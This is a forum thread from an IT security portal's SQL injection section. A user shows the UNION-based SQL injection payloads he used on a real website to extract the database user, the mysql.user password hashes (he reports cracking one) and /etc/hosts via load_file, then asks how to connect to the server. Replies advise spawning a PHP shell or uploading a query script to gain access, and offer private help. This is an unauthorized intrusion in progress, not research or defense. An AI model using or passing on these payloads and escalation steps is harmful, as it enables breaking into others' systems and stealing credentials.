Waraxe IT Security Portal
Login or Register
October 24, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 114
Members: 0
Total: 114
Full disclosure
SEC Consult SA-20241015-0 :: Multiple Vulnerabilities in Rittal IoT Interface & CMC III Processing Unit (CVE-2024-47943, CVE-2024-47944, CVE-2024-47945)
CVE-2024-48939: Unauthorized enabling of API in Paxton Net2software
SEC Consult SA-20241009-0 :: Local Privilege Escalation via MSI installer in Palo Alto Networks GlobalProtect (CVE-2024-9473)
APPLE-SA-10-03-2024-1 iOS 18.0.1 and iPadOS 18.0.1
Some SIM / USIM card security (and ecosystem) info
SEC Consult SA-20240930-0 :: Local Privilege Escalation via MSI Installer in Nitro PDF Pro (CVE-2024-35288)
Backdoor.Win32.Benju.a / Unauthenticated Remote CommandExecution
Backdoor.Win32.Prorat.jz / Remote Stack Buffer Overflow (SEH)
Backdoor.Win32.Amatu.a / Remote Arbitrary File Write (RCE)
Backdoor.Win32.Agent.pw / Remote Stack Buffer Overflow (SEH)
Backdoor.Win32.Boiling / Remote Command Execution
Defense in depth -- the Microsoft way (part 88): a SINGLEcommand line shows about 20, 000 instances of CWE-73
SEC Consult SA-20240925-0 :: Uninstall Password Bypass in BlackBerry CylanceOPTICS Windows Installer Package (CVE-2024-35214)
Apple iOS 17.2.1 - Screen Time Passcode Retrieval (MitigationBypass)
CyberDanube Security Research 20240919-0 | Multiple Vulnerabilities in Netman204
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Host/mysql inj help!!!!!!!!!!!!
Post new topicReply to topic View previous topic :: View next topic
Host/mysql inj help!!!!!!!!!!!!
PostPosted: Sun May 23, 2010 3:26 pm Reply with quote
enshtein80
Beginner
Beginner
Joined: May 23, 2010
Posts: 4




I've exploited a sql bug from a website..and i was wonderin' what i could do with thes followin'..


Code:
union select 1,user(),2,3,4--+


Serveur@192.168.1.60

Code:
union select 1,database(),2,3,4--+


Alm


Code:
union select 1,concat(user,0x3e,password),2,3,4 from mysql.user--


Serveur>pass

(NOTE:well,I'v decrypted the mysql hash and i got the pass)



Code:
union select 1,concat(db,0x3e,host),2,3,4 from mysql.db--



Test>%

Test\_%>%

Caicu>localhost

Alm>localhost


Code:
union select 1,load_file('/etc/hosts'),2,3,4--


bd1.site.com
196.20.60.210



So,
1- I have, user+pwd in plaintext and db name, so what can i do with them?...plz need an answer.
2- I was wondering how I could find the HOST of mysql, to connect trought it.."localhost"
thanks..
View user's profile Send private message
PostPosted: Mon May 24, 2010 8:30 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




well if its localhost you would need some type of shell or SQL shell to connect to it. Also im guessing you already looked through the table_names/columns and didn't find anything? Like an admin login of some sort?
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Mon May 24, 2010 8:51 pm Reply with quote
enshtein80
Beginner
Beginner
Joined: May 23, 2010
Posts: 4




capt wrote:
well if its localhost you would need some type of shell or SQL shell to connect to it. Also im guessing you already looked through the table_names/columns and didn't find anything? Like an admin login of some sort?


Thanks for ur..Its mysql 4.x.x version And also I wasnt abel to find the table of admins I tried it manualy ( Brutus forcin'), I just want A solution to connect through MYSQL..
View user's profile Send private message
PostPosted: Tue May 25, 2010 1:49 am Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




you would have to find a way to spawn some type of PHP shell with a mySQL manager or simply uploading your own SQL query script to connect to the db to spit out some information that your wanting.
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue May 25, 2010 2:58 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




If the mysql server allows external connection you can connect directly, without access to the server.
View user's profile Send private message
PostPosted: Tue May 25, 2010 7:59 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




delta wrote:
If the mysql server allows external connection you can connect directly, without access to the server.


its localhost and rarely any host uses this any more.
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue May 25, 2010 9:26 pm Reply with quote
enshtein80
Beginner
Beginner
Joined: May 23, 2010
Posts: 4




delta wrote:
If the mysql server allows external connection you can connect directly, without access to the server.



I tried to connect directly ..Using applications that allow mysql connection..And It doesnt work. It seem that I must have an access through..


Quote:
its localhost and rarely any host uses this any more.



You're right it is a Localhost, must have an access through..for I can connect, If there any ideas ... paste them here please! Arrow
View user's profile Send private message
PostPosted: Wed May 26, 2010 2:46 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




private message me and we can talk there. Or we can use some type of messenger either way works with me if you want help. Your going to have to find a way to get a working shell up or some type of code that will allow you to run some mySQL querys.
View user's profile Send private message Visit poster's website MSN Messenger
Host/mysql inj help!!!!!!!!!!!!
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.039 Seconds